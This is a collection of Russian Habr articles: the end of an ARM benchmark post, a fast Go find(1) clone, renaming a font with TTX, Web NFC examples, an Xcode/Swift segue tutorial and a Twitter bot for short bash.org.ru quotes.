Ubuntu 12.04, Kernel: 3.2.40-1-armadaxp (armv7l), Compiler: GCC 4.6, File-System: ext4 Would you like to save these test results (Y/n): Estimated Run-Time: 7 Minutes PolyBench-C 3.2: pts/polybench-c-1.0.2 [Test: 3 Matrix Multiplications] Test 1 of 3 Estimated Trial Run Count: 3 Estimated Test Run-Time: 3 Minutes Estimated Time To Completion: 7 Minutes Started Run 1 @ 15:58:14 Started Run 2 @ 16:05:08 Started Run 3 @ 16:11:51 [Std. Dev: 1.06%] Test Results: 409.0100030899 400.97810292244 407.59055900574 Average: 405.86 Seconds PolyBench-C 3.2: pts/polybench-c-1.0.2 [Test: Correlation Computation] Test 2 of 3 Estimated Trial Run Count: 3 Estimated Test Run-Time: 3 Minutes Estimated Time To Completion: 5 Minutes Started Run 1 @ 16:18:44 Started Run 2 @ 16:19:26 Started Run 3 @ 16:20:08 [Std. Dev: 0.10%] Test Results: 39.603915929794 39.637764930725 39.679361104965 Average: 39.64 Seconds PolyBench-C 3.2: pts/polybench-c-1.0.2 [Test: Covariance Computation] Test 3 of 3 Estimated Trial Run Count: 3 Estimated Time To Completion: 3 Minutes Started Run 1 @ 16:20:53 Started Run 2 @ 16:21:35 Started Run 3 @ 16:22:17 [Std. Dev: 0.03%] Test Results: 39.610389947891 39.589015960693 39.614406108856 Average: 39.60 Seconds real 53m46.279s user 24m14.830s sys 0m1.350s ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/5b6/fa5/e9f/5b6fa5e9f59de70b57bfb4937aec294d.jpg) Выводы из тестов каждый может сделать для себя сам. Наши выводы, что ARM на уровне Atom D510. При этом ARM потребляет значительно меньше энергии и имеет неплохой потенциал, так как адаптация под архитектуру только начинается да и все мы ждем с нетерпением Aarch64 (ARM64). В следующей статье планируем привести результаты тестирования работы различных приложений на платформе ARM. В планах различные панели управления хостингом, различные CMS. Если есть желание что-либо протестировать пишите на zbg@globatel.ru
https://habr.com/ru/post/213819/
null
ru
null
# Пишем замену find(1) на golang под Linux ![](https://habrastorage.org/r/w1560/files/1b9/a5d/461/1b9a5d46183a47f48f8be1ee4d0055db.png) Для одной внутренней утилиты мне понадобилось написать сканирование изменений в директории, по аналогии с утилитой find, и я столкнулся с неожиданной вещью: стандартный Open()+Readdir()+Close() в go очень медленным по сравнению с тем, как работает linux'овая утилита find. На картинке можно видеть strace этой утилиты. Можно видеть, что она делает какие-то очень странные системные вызовы, и в этих системных вызовах мы и попытаемся разобраться и написать аналог find на go, который будет работать только под Linux, но зато со сравнимой скоростью. ### Наивная реализация Давайте для начала напишем «наивную» реализацию find, которая будет для простоты рекурсивно выводить список файлов в директории. ``` package main import (...) func readdir(dir string) { dh, err := os.Open(dir) defer dh.Close() for { fis, err := dh.Readdir(10) if err == io.EOF { break } for _, fi := range fis { fmt.Printf("%s/%s\n", dir, fi.Name()) if fi.IsDir() { readdir(dir + "/" + fi.Name()) } } } } func main() { readdir(os.Args[1]) } ``` ([полный код, с импортами и обработкой ошибок](https://gist.github.com/YuriyNasretdinov/937d7e4448dbab91fcd19c093620ef84)) Если мы запустим этот код, то он, безусловно, будет работать, но wall time и rusage будут примерно в 3 раза больше, чем у find (разница в один файл объясняется тем, что мы не печатаем саму запрошенную директорию, в отличие от find): ``` $ time find /path/to/dir | wc -l 169561 real 0m0.333s user 0m0.104s sys 0m0.272s $ time GOGC=300 ./find-simple /path/to/dir | wc -l 169560 real 0m1.160s user 0m0.540s sys 0m0.944s ``` Заметим, что system time уж очень большой, и добавим буферизацию вывода: ``` @@ -7,5 +7,7 @@ import ( +var bufout = bufio.NewWriter(os.Stdout) func readdir(dir string) { @@ -28,3 +30,7 @@ func readdir(dir string) { for _, fi := range fis { - fmt.Printf("%s/%s\n", dir, fi.Name()) + bufout.WriteString(dir) + bufout.WriteByte('/') + bufout.WriteString(fi.Name()) + bufout.WriteByte('\n') if fi.IsDir() { @@ -44,2 +50,3 @@ func main() { readdir(dir) + bufout.Flush() } ``` ([полная версия](https://gist.github.com/YuriyNasretdinov/623de87bef169d823906d65e52b26826)) Результаты будут уже намного лучше, но всё равно далеки от идеала: ``` $ time GOGC=300 ./find-simple-bufio /path/to/dir | wc -l 169560 real 0m0.796s user 0m0.352s sys 0m0.616s ``` Для примера, вот результат для [такой же программы на PHP](https://gist.github.com/YuriyNasretdinov/2f6d12dae627b0b27cee4c8af7f97def): ``` $ php ~/find-ob.php /path/to/dir | wc -l 169560 real 0m0.777s user 0m0.276s sys 0m0.500s ``` Программа на PHP даже немного быстрее и потребляет измеримо меньше ресурсов! Это явно не то, что хотелось бы получить от компилируемого языка… ### Изучаем системные вызовы Linux Если вглядеться в strace от find, можно заметить, что он делает getdents64 и почти не делает stat! Но при этом утилита каким-то образом знает, какие имена соответствуют директориям. Посмотрим, что это за вызов getdents64 такой: ``` SYNOPSIS int getdents(unsigned int fd, struct linux_dirent *dirp, unsigned int count); DESCRIPTION This is not the function you are interested in. Look at readdir(3) for the POSIX conforming C library interface. This page documents the bare kernel system call interface. The system call getdents() reads several linux_dirent structures from the directory referred to by the open file descriptor fd into the buffer pointed to by dirp. The argument count is specifies the size of that buffer. The linux_dirent structure is declared as follows: struct linux_dirent { ... char d_name[]; char pad; // Zero padding byte */ char d_type; // File type (only since Linux 2.6.4 } ``` Это именно то, что нам нужно! Что интересно, на BSD-системах при чтении директории тоже доступно поле с типом файла (d\_type), для некоторых файловых систем. Нас всячески отговаривают использовать этот системный вызов, но ту же утилиту find это ни капельки не смущает. Как оказалось, «под капотом» стандартная библиотека go тоже зовет getdents(2), так что нам остается только «выдрать» код, который это делает и очистить его от всего лишнего: ``` package main import (...) var bufout = bufio.NewWriter(os.Stdout) func readdir(dir string, file string, dirfd int, pathbuf []byte) { origbuf := make([]byte, 4096) // буфер, куда будет читать getdents dh, err := syscall.Openat(dirfd, file, syscall.O_RDONLY, 0777) // открываем файл директории по относительному пути origpathbuf := pathbuf[0:0] // нам передают буфер для хранения пути файла, сбрасываем его for { n, errno := syscall.ReadDirent(dh, origbuf) // вызываем getdents if n <= 0 { break // EOF } buf := origbuf[0:n] // нам вернули число прочитанных байт, это нужно использовать :) for len(buf) > 0 { // следующий код выдран из кода ParseDirent: dirent := (*syscall.Dirent)(unsafe.Pointer(&buf[0])) buf = buf[dirent.Reclen:] if dirent.Ino == 0 { // File absent in directory. continue } bytes := (*[10000]byte)(unsafe.Pointer(&dirent.Name[0])) name := bytes[0:clen(bytes[:])] // функция clen() возвращает длину сишной строки if len(name) == 1 && name[0] == '.' || len(name) == 2 && name[0] == '.' && name[1] == '.' { continue } // пишем полный путь в буфер с конечным именем файла, // чтобы не выделять память для маленьких кусочков pathbuf = append(pathbuf, dir...) pathbuf = append(pathbuf, '/') pathbuf = append(pathbuf, file...) dirlen := len(pathbuf) pathbuf = append(pathbuf, '/') pathbuf = append(pathbuf, name...) pathbuf = append(pathbuf, '\n') bufout.Write(pathbuf) // только в случае, если это директория, создаем string if dirent.Type == syscall.DT_DIR { readdir(string(pathbuf[0:dirlen]), string(name), dh, origpathbuf) } pathbuf = origpathbuf[0:0] } buf = origbuf[0:0] } syscall.Close(dh) } func main() { dir := os.Args[1] parentDir := filepath.Dir(dir) dh, err := os.Open(parentDir) pathbuf := make([]byte, 16 * 1024) readdir(parentDir, filepath.Base(dir), int(dh.Fd()), pathbuf) bufout.Flush() } ``` ([полный исходный код программы, с обработкой ошибок и функцией clen](https://gist.github.com/YuriyNasretdinov/a68b6a997216103b13ea0baa4204230f)) ### Результаты Со всеми оптимизациями и использованием системного вызова getdents удалось уменьшить потребление ресурсов до такой степени, что оно работает быстрее, чем find: ``` $ time GOGC=300 ./find-simple /path/to/dir | wc -l 169560 real 0m1.160s user 0m0.540s sys 0m0.944s $ time GOGC=300 ./find-optimized /path/to/dir | wc -l 169560 real 0m0.200s user 0m0.060s sys 0m0.160s $ time find /path/to/dir | wc -l 169561 real 0m0.333s user 0m0.104s sys 0m0.272s ``` Потребление ресурсов и общее время работы меньше в полтора раза, чем у find. Основные причины для этого состоят в том, что find выдает сортированый список файлов, а также принимает условия для фильтрации списка. Очевидно, что просто получение списка файлов и вывод его на экран не представляют особой ценности, но такой способ позволяет ускорить многие программы на go, которые, к примеру, [предоставляют альтернативу grep](https://github.com/monochromegane/the_platinum_searcher) за счёт уменьшения накладных расходов на чтение списка файлов из директории. **Ссылки:** * [наивная реализация](https://gist.github.com/YuriyNasretdinov/937d7e4448dbab91fcd19c093620ef84) * [использование буферизации вывода](https://gist.github.com/YuriyNasretdinov/623de87bef169d823906d65e52b26826) * [аналог на PHP](https://gist.github.com/YuriyNasretdinov/2f6d12dae627b0b27cee4c8af7f97def) * [конечный вариант](https://gist.github.com/YuriyNasretdinov/a68b6a997216103b13ea0baa4204230f)
https://habr.com/ru/post/281382/
null
ru
null
# Как изменить имя шрифта Нечасто, но регулярно у людей возникает вопрос — **как изменить имя шрифта**. Не файла со шрифтом (тут хитрости нет), а самого шрифта. Имя, которое будет показываться в диалоге шрифтов текстовых процессоров после установки данного. Я столкнулся с этой проблемой следующим образом. Требовалось на домашнем компьютере сконвертировать набор документов из САПР «Компас» в формат PDF. Для этой цели имелся КОМПАС-3D Viewer. А затык вышел с тем, что автор документов набрал их шрифтом Arial Narrow, который на компьютере отсутствовал; вместо него смотрелка подставляет шрифт Arial, из-за чего все надписи в документе разъезжаются как попало. Конечно, мы все знаем, как можно решить проблему с отсутствующим шрифтом, да и с редактором Компаса. Но есть у меня скверная привычка не нарушать авторские права без крайней необходимости, потому стал искать законное и относительно честное решение. В компьютере стоял свободный шрифт Liberation Sans Narrow (TrueType), который очень похож на Arial Narrow, а главное, имеет те же метрики. Надо было лишь убедить систему (речь идёт о Windows Vista), что точно такой же шрифт зовут Arial Narrow, только и всего. Во-первых, достаём искомые шрифты (LiberationSansNarrow.ttf, LiberationSansNarrow-Bold.ttf, LiberationSansNarrow-Italic.ttf, LiberationSansNarrow-BoldItalic.ttf) из `C:\Windows\Fonts` в произвольную папку. По названному пути в действительности расположен специальный файл, а не папка, и что-то с его содержимым делать сто́ит только через Проводник Windows: скопировали файлы мышкой, поправили, и мышкой же положили обратно. Наиболее простой способ сделать что-либо со шрифтом — это скачать и установить **[FontForge](http://fontforge.sourceforge.net)**, редактор шрифтов с графическим интерфейсом. Если вам не лень скачать программу-установщик, то дальше можете не читать — всё элементарно. Но я решил, что дистрибутив графического продукта (весит чуть более 16 Мб) мне выкачать тяжело — инет небыстрый; и перешёл к другим вариантам (не факт, что я поступил разумно, ну да из песни слова не выкинешь). Утилитой для работы со шрифтами из командной строки является **[TTX](http://sourceforge.net/projects/fonttools)** из проекта ***FontTools***. В архивах интернета водится его .exe-установщик, однако полученную из него программу мне запустить не удалось, так что скачал с официального сайта архив tar.gz (весит всего-то 340 Кб). Для сборки утилиты из этого архива вам понадобится: 1. **[Python](https://www.python.org/downloads)** — язык программирования. У меня он был настроен в составе среды Cygwin, в консоли которого я и делал всё дальнейшее, так что его мне качать не надо было. Предположительно, [Cygwin](http://cygwin.com) для сборки не обязателен, но в любом случае удобен. 2. [Библиотека **Numerical Python**](http://sourceforge.net/projects/numpy) — неизвестно почему требуется для сборки. Архив весит около 4,3 Мб. Возможно, вы сможете установить её без сложностей через стандартный установщик Cygwin. Итак, порядок действий (для чайников, знакомые со сборкой из кодов могут особо не вчитываться): 1. Распаковываем архив numpy-x.x.x.zip в какую-нибудь папку и переходим туда в консоли командой `cd "D:/путь/куда/распаковали/numpy-x.x.x"` (в оболочке Cygwin следует использовать /прямые/ косые черты вместо \обратных\). 2. Выполняем команду `python setup.py install`. Далее вы в течении получаса-часа будете получать ругань компилятора, однако библиотека, скорее всего, в итоге успешно установится. 3. Теперь распаковываем куда-либо архив fonttools-….tar.gz, и опять переходим в добытую папку и вызываем `python setup.py install`. Установка на этот раз завершится довольно скоро, а утилита ttx станет доступной из командной строки. 4. Переходим в каталог, куда мы скопировали файлы со шрифтами. Выполняем команду: `ttx *.ttf`, после которой для каждого TrueType-шрифта в папке возникнет файл с расширением .ttx. Исходные файлы теперь можно удалить (вы ведь их скопировали, а не переместили?) 5. TTX-файлы — это обычные текстовые файлы в формате XML. Открываем их в любом текстовом редакторе и меняем всё, что нужно; в моём случае требовалось лишь заменить везде «LiberationSans» и «Liberation Sans» на Arial. 6. Вновь запускаем утилиту, дабы вернуть файлы в скомпилированный вид: `ttx *.ttx`. Возникает набор файлов, аналогичный исходному, но с другим внутренним именем. 7. Переименовываем файлы, дабы избежать конфликтов (неважно во что, лишь бы у вас таких шрифтов не было). Для этой цели можно использовать программу [Free Font Renamer](http://www.fontrenamer.com), которая переименовывает все файлы в папке во внутренние имена шрифтов. Обращаю внимание, что менять *содержимое* файлов эта программа не умеет — внутренние имена шрифтов она только читает, а потому не особо нужна (я скачал её раньше, поскольку ждал от неё большего). Всё, мы получили файлы, которые можно закидывать мышкой в псевдокаталог *Fonts*. Со шрифтаме OpenType всё делается аналогично с учётом замены на 4-м шаге .ttf на .otf. **P.S.** Замечу, что ранее мне удалось переименовать OpenSymbol в StarSymbol, не пользуясь никакими тяжеловесными закачками. Для этого файл пропускался через простенький скрипт, содержавший регулярное выражение наподобие `s/O([\x00-\x1F]?)p([\x00-\x1F]?)e([\x00-\x1F]?)n/S$1t$2a$3r/g`. Однако не поручусь, что этот трюк всегда срабатывает, особенно когда длины имён не совпадают.
https://habr.com/ru/post/255187/
null
ru
null
# NFC приходит в web Эта статья — перевод оригинальной статьи "[NFC comes to the web](https://cxlabs.sap.com/2021/07/27/nfc-comes-to-the-web/)". Также я веду телеграм канал “[Frontend по-флотски](https://t.me/frontend_pasta)”, где рассказываю про интересные вещи из мира разработки интерфейсов. Вступление ---------- Это должно было быть примерно в 2012 году, когда Google выпустил первые телефоны с поддержкой NFC ([Google Nexus S](https://en.wikipedia.org/wiki/Nexus_S)) вместе с обновлением для Android, которое позволило разработчикам использовать API NFC. Я хорошо помню, что заплатил несколько евро за несколько тегов NFC, чтобы попробовать (сегодня эти теги стоят очень дёшево). Хотя я был очень убежден, и команда CX Labs анонсировала множество прототипов, таких как [покупки с помощью NFC](https://video.sap.com/media/t/1_0ibqjxjb), Apple потребовалось много лет, чтобы внедрить NFC и, наконец, открыть API для своих разработчиков. О NFC почти забыли... Но сейчас 2021 год, и большинство телефонов имеют встроенное оборудование NFC. Основной вариант использования - платежи, эмуляция карты NFC - один из трех режимов работы NFC, и большинство из нас ежедневно используют Apple или Google Pay. Это означает, что функция NFC широко доступна для разработчиков, но, честно говоря, она не очень часто используется, кроме как через платежные приложения, поддерживаемые Google/Apple. Но только в мае 2021 года вышел Chrome для Android 91, который теперь поддерживает веб-NFC - любой веб-разработчик может экспериментировать и использовать NFC на простых HTML-страницах. Хотя Safari от Apple и другие браузеры снова опаздывают в игру, это может снова ознаменовать момент для нового прорыва в технологии NFC. Web NFC снижает барьер для разработчиков и, что более важно, функциональность NFC теперь может быть частью Интернета: никаких установок. ### Web NFC 101 NFC расшифровывается как Near Field Communications и представляет собой беспроводную технологию малого радиуса действия, работающую на частоте 13,56 МГц. Малый радиус на самом деле означает близкое расстояние: для связи устройства должны находиться на расстоянии нескольких сантиметров друг от друга. Форум NFC определяет четыре режима работы: устройство чтения/записи, p2p сеть, эмуляция карты и беспроводная зарядка. Из этих четырех режимов только первый - чтение/запись - и только так называемая спецификация NDEF поддерживается Web NFC. NDEF - это формат обмена данными NFC, описывающий стандартизированный способ кодирования данных в теги NFC и считывания их обратно. Например, он определяет, как кодируется текст или как URL-адреса могут быть закодированы с сохранением байтов. Внесу ещё немного ясности: вы не сможете имитировать кредитную карту с NFC для платежей в магазине, а также не сможете «включить беспроводную зарядку NFC» через Web NFC. Но все, что связано с чтением и записью небольших фрагментов данных в теги NFC в стандартизированном формате NDEF, включено в Web NFC. Возможные варианты использования -------------------------------- В самой [спецификации Web NFC](https://w3c.github.io/web-nfc/) перечислено несколько вариантов использования, например, использование NFC тегов в художественных галереях или музеях. Должен признать, что во многих случаях я не вижу явной выгоды. Эти теги вполне могут быть написаны с помощью специального телефона и приложения NFC, и пользователи этих тегов будут просто касаться их, чтобы открывать URL - это современное искусство. Я считаю, что Web NFC может сыграть роль, особенно в CX, когда дело доходит до случаев использования, для которых клиенты никогда не установят приложение в наши дни. Например, чтобы участвовать в игре в розничном магазине, я бы не стал устанавливать приложение, но я мог бы открыть веб-страницу для участия. Web NFC также поддерживает запись NFC тегов, которые, например, открывают некоторые интересные области применения для технических специалистов. Хотя зону обслуживания можно идентифицировать с помощью NFC тега, теперь точная дата/время обслуживания машины также может быть записана обратно в тег. Все это возможно без необходимости установки специального приложения, которое снижает барьеры для входа. Чтобы поэкспериментировать с Web NFC на моем Pixel 5 и браузере Chrome, я создал небольшую [общедоступную веб-страницу](https://labs-web-nfc.glitch.me/), которую вы также можете использовать, чтобы попробовать. Все следующие примеры кода взяты оттуда. Web NFC, а также стандарт NDEF для понимания сообщений, написанных или прочитанных из тегов NFC, можно найти в [официальной спецификации](https://w3c.github.io/web-nfc/). Давайте напишем пару тегов -------------------------- Чтобы писать NFC тег, вам необходимо понимать структуру сообщения NDEF. Сообщение, записываемое в тег, состоит из нескольких записей NDEFRecords, которые могут быть обычным текстом, URL-адресами или более сложными типами, такими как смарт-постеры. Как видите, написать простое текстовое сообщение просто: ``` document.getElementById("write").addEventListener("click", async () => { log("writeLog", "User clicked write button"); try { const ndef = new NDEFReader(); await ndef.write("Hello Office of the CTO!"); log("writeLog", "> Text Message written"); } catch (error) { log("writeLog", "Argh! " + error); } }); ``` Теперь давайте запишем URL в тег. Метод write требует от нас список, но здесь мы будем использовать только один URL: ``` document.getElementById("writeUrl").addEventListener("click", async () => { log("writeUrlLog", "User clicked write button"); const ndef = new NDEFReader(); try { await ndef.write({ records: [{ recordType: "url", data: "https://cxlabs.sap.com" }] }); log("writeUrlLog", "> URl Message written"); } catch { log("writeUrlLog", "Argh! " + error); } }); ``` ### Давайте прочитаем пару тегов Чтение тегов может быть более сложной задачей, поскольку вам нужно различать разные записи, которые вы можете найти. В моем примере мы пытаемся разобраться с несколькими распространенными случаями, такими как текст, URL-адреса, а также данные в JSON, которые, конечно, будут иметь определенную структуру, о которой ваше приложение должно знать: ``` document.getElementById("read").addEventListener("click", async () => { log("readLog", "User clicked read button"); try { const ndef = new NDEFReader(); await ndef.scan(); log("readLog", "> Scan started"); ndef.addEventListener("readingerror", () => { log( "readLog", "Argh! Cannot read data from the NFC tag. Try another one?" ); }); ndef.addEventListener("reading", ({ message, serialNumber }) => { log("readLog", `> Serial Number: ${serialNumber}`); log("readLog", `> Records: (${message.records.length})`); const decoder = new TextDecoder(); for (const record of message.records) { switch (record.recordType) { case "text": const textDecoder = new TextDecoder(record.encoding); log( "readLog", `Text: ${textDecoder.decode(record.data)} (${record.lang})` ); break; case "url": log("readLog", `URL: ${decoder.decode(record.data)}`); break; case "mime": if (record.mediaType === "application/json") { log( "readLog", `JSON: ${JSON.parse(decoder.decode(record.data))}` ); } else { log("readLog", `Media not handled`); } break; default: log("readLog", `Record not handled`); } } }); } catch (error) { log("readLog", "Argh! " + error); } }); ``` Итог ---- На данный момент Web NFC доступен только на телефонах Android через браузер Chrome. Мне пришлось ждать несколько лет, когда NFC впервые пришёл в родной Android. Но apple ещё нужно наверстать упущенное, поэтому я определенно не буду пытаться предсказать, когда большинство браузеров на большинстве мобильных ОС будут поддерживать Web NFC. Но я должен сказать, что простота, с которой веб-разработчики теперь могут использовать физические теги NFC - поразительна, я почти уверен, что это вызовет множество творческих идей. Несомненно, будут случаи использования также в области обслуживания клиентов, и также ясно, что Интернет как платформа будет продолжать развиваться. Мы будем внимательно следить за Web NFC и пока нашли отличный новый API, который мы можем начать использовать уже сегодня.
https://habr.com/ru/post/570954/
null
ru
null
# «Программирование мышкой» в XCode 6 для Swift Привет, Хабрахабр! По причине недавно возникшей необходимости, пришлось писать под iOS, и я заметил сильную нехватку гайдов на русском языке даже для элементарных действий вроде «прицепить к нажатию кнопки какое-то действие», «считать данные из текстового окошка». Статья для начинающих разработчиков под iOS, прошу таких под кат. Итак, для начала для отработки примеров #### **Cоздадим проект SingleView Application** **Если сами создавать умеете, то этот этап можно и пропустить**1. Выбираем тип проекта ![](https://habrastorage.org/r/w1560/files/cae/bdb/609/caebdb60981049249e6d6a0209ec49b3.png) 2. Выбираем название ![](https://habrastorage.org/r/w1560/files/6a5/733/ef2/6a5733ef2f46448b88479fb7e3a4fe54.png) 3. Готово, можно приступать ![](https://habrastorage.org/r/w1560/files/d33/f3f/cab/d33f3fcabe9b4a319a7a2d57928efc0a.png) #### **Дальше немного усложним наше приложение** 1. Поменяем класс контроллера нашего первого View на MainViewController **Вот так**До: ![](https://habrastorage.org/r/w1560/files/f96/f40/d2a/f96f40d2a29840a39224889dab25bc39.png) После(меняем название класса и файла): ![](https://habrastorage.org/r/w1560/files/8e6/3da/105/8e63da105c62412e87cd6c4abfe02c91.png) До: ![](https://habrastorage.org/r/w1560/files/b2e/d2c/18d/b2ed2c18d29c486d82d58b1609aa6441.png) После(CustomClass справа сверху меняем на новый)): ![](https://habrastorage.org/r/w1560/files/9fe/1c0/ea8/9fe1c0ea80e34d08a0f22d7de374c13e.png) 2. Добавим второй View и ViewController для него(назовем его SpecialViewController) **Вот так**Наводим мышку на нужный на тип контроллера(ViewController), и перетаскиваем на вкладку интерфейса(Drag-n-Drop), затем создаем класс для нашего нового контроллера SpecialViewController(базовый код стандртен и аналогичен коду главного контроллера на этом этапе) в новом файле под названием SpecialViewController.swift. Затем выбираем наш контроллер в визуальном редакторе и в его свойствах в вкладке CustomClass в поле Class выбираем из списка наш свежесозданный класс контроллера. *Итак, у нас теперь есть два окна, в одно из которых попасть у пользователя просто не получится.* #### **Перейдем к программированию мышкой** ##### **1. Добавляем элементы в визуальный редактор** Это самая простая часть, делается как и везде. Текстовому полю мы задали свойство Placeholder, оно позволяет выводить «приглашение для ввода», которое видно только пока не введено никакого текста. Но о свойствах не будем сильно распостраняться в рамках этой статьи, дабы не перегружать. ##### **2. Добавляем наши элементы в класс контроллера, для работы с ними напрямую** Для начала надо выбрать значок ![](https://habrastorage.org/r/w1560/files/465/02e/bb6/46502ebb62cb4b4296a7d356143132ef.png) наверху, он нужен нам чтобы одновременно видеть контроллер в визуальном редакторе и код класса этого же контроллера. Затем просто «перетаскиваем» нужный нам элемент контроллера **правой** кнопкой мыши в визуальной половине на его код. Вам предложат произвольное название переменной, по которой теперь доступен элемент для всех функций контроллера. ##### **3. Добавляем обработку событий элементов окна** Для этого нужны небольшие приготовления. Сначала кликаете пкм по нужному элементу, получаете вот такое окно: ![](https://habrastorage.org/r/w780q1/files/a05/784/6c5/a057846c50524003b0f331c43da30be9.jpg) Список событий здесь описывать не буду, они, имхо, самоочевидны. Выбираете нужное вам и **левой** кнопкой мыши перетаскиваете его в код. ##### **4. Небольшой пример** Здесь мы по нажатию кнопки меняем текст Label на введенный пользователем. С демонстрацией работы на симуляторе под iPhone 6 Как наиболее внимательные читатели могли уже заметить, наш редактор ругается на невозможность попасть в SpecialView. И он прав! Именно для решения этой проблемы через визуальный редактор существует такое понятие как Segue. Благодаря им мы можем наглядно показать, откуда куда может попасть пользователь. #### **Переходы между окнами** ##### **1. Простейший вариант** Самый простой вариант — безусловный переход. Добавим для этого в наш проект кнопку «Перейти», нажмем над ней ПКМ и протащим появившуюся линию до того View, на который мы хотим получить переход(SpecialView в нашем случае). Получим запрос о типе Segue, выбираем там show — с остальным можете сами поэкспериментировать. Аналогично добавим в SpecialView кнопку назад, и прицепим к ней переход в MainView. **Вот как это выглядит в запущенном приложении** Как видите, простейшие переходы можно создавать не написав ни единой строчки кода. Но, естественно, далеко не всегда хватает безусловных переходов. ##### **2. Добавим условный переход** Самый простой способ для этого — вызывать наш переход через код. Но ведь в коде его и нету. Да и по нажатию кнопки все равно срабатывать будет, а этого не хотелось бы. Выход довольно прост: удаляем старую версию перехода, а новую ведем не от нашей кнопки, а от желтого кружочка самого ViewController,  назовем наш переход MainToSpecial Итак, пусть мы хотим пускать пользователя в SpecialView только если поле для ввода и Label содержат одинаковый текст. Для этого нам надо создать для кнопки событие нажатия в контроллере, в нем проверять это условие. Если оно выполняется, выполним переход с помощью вот такого кода: ``` self.performSegueWithIdentifier("MainToSpecial", sender: self)//вместо MainToSpecial название любого из созданных вами переходов ``` **Добавляется этот код вот так** Проверяем… **Все работает** Как видите, пускает на SpecialView только при одинаковых значениях в полях, а вот обратно — в любом случае, что нам и нужно. На этом можно и закончить, но все-таки покажу напоследок асинхронную проверку условий перехода, т.к. имхо она не менее важна. ##### **3. Асинхронный переход с проверкой условия на сервере** В общем-то отличий от синхронного варианта не слишком много: 1. Проверка условия не происходит мгновенно и не может находиться в обработчике нажатия кнопки напрямую 2. Надо как-то показывать пользователю, что он ждет 3. Придется использовать коллбэки Во-первых, вся логика приложения не имеющая свзяи с интерфейсом, должна находиться в отдельных классах, поэтому создадим класс Server в файле Server.swift с единственной функцией(код, конечно, не очень, но не хочу усложнять пример): **Скрытый текст** ``` import UIKit let server=Server() class Server { private let apiURL="http://worldteam-m.com/test.php?" func tryCheck(data:String,callback:(NSDictionary)->Void) { let request=(self.apiURL+data) let encoded = request.stringByAddingPercentEscapesUsingEncoding(NSUTF8StringEncoding) var url: NSURL = NSURL( string: encoded!)! var session = NSURLSession.sharedSession() var task = session.dataTaskWithURL(url, completionHandler: {data, response, error -> Void in println("Task completed") if((error) != nil) { println(error.localizedDescription) } var err: NSError? var jsonResult = NSJSONSerialization.JSONObjectWithData(data, options: NSJSONReadingOptions.MutableContainers, error: &err) as NSDictionary if (err? != nil) { println(error.localizedDescription) } dispatch_async(dispatch_get_main_queue(), { callback(jsonResult) }) }) task.resume() } } ``` ~~Сервер не указан специально, т.к. хабраэффект. Так что эту часть приложения вы сможете затестить только со своим сервером, либо используя для тестирования чужой публичный webAPI.~~ См. UPD В этом коде мы делаем запрос, и в случае получения ответа отправляем его в переданный нам из UI коллбэк. Код MainViewController поменяется на такой: **Скрытый текст** ``` @IBAction func MtoS(sender: AnyObject) { server.tryCheck( WhereLbl.text! + FromText.text!, callback: onResponse) } func onResponse(json:NSDictionary) { if json["code"] as String == "ok" { //допустим, что если сервер считает переход корректным, он пошлет нам {"code":"ok"} self.performSegueWithIdentifier("MainToSpecial", sender: self)//все ок, делаем переход } else { self.WhereLbl.text="Forbidden!"//иначе сообщаем о неудаче } } ``` И остается один неприятный, но важный момент — показать пользователю задержку. Для это есть специальный компонент **UIActivityIndicatorView**, причем мы сразу выставляем ему свойство HidesWhenStopped чтобы он был виден только при анимации, при начале асинхронного запроса мы его анимацию включаем, а при получении ответа в нашем коллбеке — выключаем. Много чего еще можно написать о программировании на Swift в XCode, но пока остановимся на этом. Надеюсь, что статья принесет пользу новичкам, а может и не только им(хе-хе). UPD Добавил сервер для теста асинхронной версии в код класса сервера, можете тестить ) НУ или залить на свой хостинг вот такой файл PHP и поменять apiURL на ссылку к вашему файлу. ``` php sleep(4); if(rand()%2==0) { print json_encode(["code"="ok"]); } else print json_encode(["code"=>"fail"]); return; ?> ```
https://habr.com/ru/post/242277/
null
ru
null
# Микробаш Рассказ о том, зачем и как я сделал для себя [робота](http://twitter.com/#!/microbash), который публикует микроцитаты с [bash.org.ru](http://bash.org.ru/), полностью влезающие в твит. А также о том, как я буду его развивать, если топик на хабре возымеет эффект, и количество подписчиков даст понять, что это интересно не только мне. #### Зачем В моей тви-ленте иногда появляются цитаты с башорга. Бывали случаи, когда особо замечательные цитаты озвучивались сразу несколькими твиплами по очереди. Я пошёл проверять, есть ли у башорга твиттер. Ведь если читаешь баш и пользуешься твиттером, правильно было бы его зафоловить и ретвитить то, что понравилось, не заморачиваясь с добавлением информации об источнике («цэ баш» и т.п. — а то мало ли сочтут за автора). Можно даже на сам bash.org.ru не заходить и таким образом огородить себя от залипания в Бездне. Твиттер-то нашёлся (@[b\_o\_r](http://twitter.com/#!/b_o_r/)). Но читать там нечего, т.к. большинство цитат превышают 140 символов и содержат только начало и ссылку на продолжение. Кликать или тапать каждый раз, когда хочешь узнать, чем всё заканчивается, — сомнительное удовольствие. (Впрочем, на этот твиттер сейчас подписано 9800 человек…) А что насчёт меньшинства — цитат, которые не превышают 140 символов? Из-за настроек экспорта даже они почти всегда превращаются в твиты с продолжением. Например: `«Ksenya Gavrilova: Первый раз посмотрела Эммануэль. Нелегко жилось тетеньке, куда ни повернется - всюду выебут»` — превращается в `«Цитата #412428: Ksenya Gavrilova: Первый раз посмотрела Эммануэль. Нелегко жилось тетеньке, куда ни повернется -... http://bit.ly/pAlimr»`. В общем, сплошная печаль, а не твиттер башорга. #### Как С помощью сервиса [яху-пайпс](http://pipes.yahoo.com/), которым воспользовался впервые, сделал вот такую трубу: 1. Импортируется рсс башорга. 2. В текстах цитат тег переноса строки заменяется на `«/ »`. Некрасиво, конечно, но зато конец первой фразы и начало второй хоть как-то разделены, а не как в официальном твиттере: `«xxx: У тебя под одеялом нет комаров?yyy: нетxxx: Пустишь?;)yyy: комаров?»`. 3. Главное, что делает яху-пайпс, — фильтрация по длине цитат. На выходе получается слегка улучшенный и сильно сокращённый рсс-поток. Далее сервис [twitterfeed.com](http://twitterfeed.com/) (его использует и @b\_o\_r, кстати) публикует записи из рсс в твиттер. Делает он это каждые полчаса, если есть что-то неопубликованное, по одной записи. Можно настроить, чтобы вываливал сразу всё, что накопилось. Но я считаю, что периодически радовать подписчиков в течение дня — лучше, чем краткосрочная оккупация их тви-ленты. Получился @[microbash](http://twitter.com/#!/microbash). Именем пользователя значится «© Баш», так что всем, кто увидит его сообщение в своей ленте, будет понятно, что это «цэ баш», а не что-то другое. В инфо есть ссылка на первоисточник — bash.org.ru. 